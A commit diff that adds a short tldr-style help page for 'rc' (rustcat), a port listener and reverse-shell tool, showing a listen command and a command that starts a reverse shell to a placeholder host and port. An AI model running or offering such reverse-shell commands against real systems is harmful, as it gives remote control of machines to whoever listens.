rc: add page (#6831)

pages/common/rc.md

@@ -0,0 +1,13 @@
+# rc
+
+> A modern simplistic port listener & reverse shell.
+> Similar to `nc`.
+> More information: <https://github.com/robiot/rustcat/wiki/Basic-Usage>.
+
+- Start listening on a specific port:
+
+`rc -lp {{port}}`
+
+- Start a reverse shell:
+
+`rc {{host}} {{port}} -r {{shell}}`